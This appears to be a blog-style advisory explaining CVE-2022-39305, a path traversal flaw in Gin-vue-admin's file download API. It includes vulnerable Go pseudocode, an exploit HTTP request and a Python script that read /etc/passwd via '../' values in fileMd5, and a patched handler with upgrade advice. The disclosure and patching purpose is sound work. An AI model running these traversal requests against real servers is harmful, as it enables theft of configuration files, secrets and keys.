In late 2022, security researchers discovered a serious vulnerability—CVE-2022-39305—in Gin-vue-admin, a popular open-source management system built with Vue.js and the Gin web framework. This bug allows attackers to read arbitrary files from the server by abusing the file upload feature. If you’re running Gin-vue-admin below version 2.5.4b, your application is at risk.
In this post, we’ll break down what CVE-2022-39305 is, how the vulnerability works, show proof-of-concept exploit code, and explain how to patch the issue, using simple, non-technical language.
Quick Background: What is Gin-vue-admin?
Gin-vue-admin is basically a template project that helps developers quickly set up a backend admin panel. The front-end is built with Vue.js, while the backend uses Gin for web services in Golang. The two parts run separately (commonly called “front-rear separation”), letting you manage users, content, and more through a modern web dashboard.
How It Happens
The vulnerability comes from the file upload interface in Gin-vue-admin. Two parameters in particular—fileMd5 and fileName—are not safely checked. Because of this, attackers can manipulate these fields to make the backend read and send back any file they want from the server.
Why It’s Dangerous
Let’s say your server holds configs, environment variables, or even SSH keys. A hacker could use this bug to steal those files through the normal file upload API, bypassing most security protections.
Official Advisory
> “Gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. Versions prior to 2.5.4 contain a file upload ability. The affected code fails to validate fileMd5 and fileName parameters, resulting in an arbitrary file being read. This issue is patched in 2.5.4b. There are no known workarounds.”
> — GitHub Security Advisory GHSA-25jp-6f86-j7r2
Vulnerable Code Example
The backend handler in the vulnerable code basically takes whatever the client supplies as fileMd5 and fileName, then tries to open and send back the file contents.
Insecure Handler Pseudocode
// This code is simplified for clarity
func GetFileChunk(c *gin.Context) {
fileMd5 := c.Query("fileMd5") // Unvalidated input
fileName := c.Query("fileName") // Unvalidated input
// No validation or sanitization!
filePath := "/uploads/" + fileMd5 + "/" + fileName
// Open the file as requested by the attacker
fileBytes, err := ioutil.ReadFile(filePath)
if err != nil {
c.JSON(404, gin.H{"error": "File not found"})
return
}
c.Data(200, "application/octet-stream", fileBytes)
}
Because fileMd5 and fileName take user input directly, an attacker can traverse out of the /uploads/ directory by sending values like ../../../etc/passwd and trick the server into reading system files.
How Attackers Can Abuse It
Let’s look at an example HTTP GET request that would exploit this bug on a target Gin-vue-admin instance:
GET /api/fileUploadAndDownload/findFile?fileMd5=../../../../etc&fileName=passwd HTTP/1.1
Host: vulnerable.example.com
Authorization: Bearer [valid_token]
What this does:
- fileMd5 is set to ../../../../etc
fileName is set to passwd
- The resulting path: /uploads/../../../../etc/passwd, which resolves to /etc/passwd
If the file exists, Gin-vue-admin will read and return its contents!
Here’s a Python script demonstrating how an attacker could automate this
import requests
url = "https://vulnerable.example.com/api/fileUploadAndDownload/findFile";
params = {
"fileMd5": "../../../../etc",
"fileName": "passwd"
}
headers = {
"Authorization": "Bearer YOUR_TOKEN_HERE"
}
r = requests.get(url, params=params, headers=headers)
if r.status_code == 200:
print("File contents:\n")
print(r.text)
else:
print(f"Failed to read file (Status {r.status_code})")
Note: Exploit requires a valid token, meaning the attacker needs some type of user account.
Upgrade to at least version 2.5.4b
- In the patch, developers validate and sanitize the fileMd5 and fileName fields to prevent directory traversal and path manipulation.
Secure Handler Example
import "path/filepath"
import "strings"
func isValidFileName(fileName string) bool {
// Check that filename doesn't contain ".." or "/"
return !strings.Contains(fileName, "..") && !strings.Contains(fileName, "/")
}
func GetFileChunk(c *gin.Context) {
fileMd5 := c.Query("fileMd5")
fileName := c.Query("fileName")
if !isValidFileName(fileMd5) || !isValidFileName(fileName) {
c.JSON(400, gin.H{"error": "Bad filename"})
return
}
filePath := filepath.Join("/uploads", fileMd5, fileName)
fileBytes, err := ioutil.ReadFile(filePath)
if err != nil {
c.JSON(404, gin.H{"error": "File not found"})
return
}
c.Data(200, "application/octet-stream", fileBytes)
}
GitHub Advisory for CVE-2022-39305:
https://github.com/flipped-aurora/gin-vue-admin/security/advisories/GHSA-25jp-6f86-j7r2
NVD Record:
https://nvd.nist.gov/vuln/detail/CVE-2022-39305
- Official Patch/Release Notes:
https://github.com/flipped-aurora/gin-vue-admin/releases/tag/v2.5.4b
Conclusion
CVE-2022-39305 is a dangerous bug that could leak any file from your Gin-vue-admin server through an insecure upload API. There’s no workaround—*you need to update to 2.5.4b or newer*. Don't wait—patch your system and always validate all user inputs, especially when dealing with file paths.
Timeline
Published on: 10/24/2022 14:15:00 UTC
Last modified on: 10/24/2022 18:52:00 UTC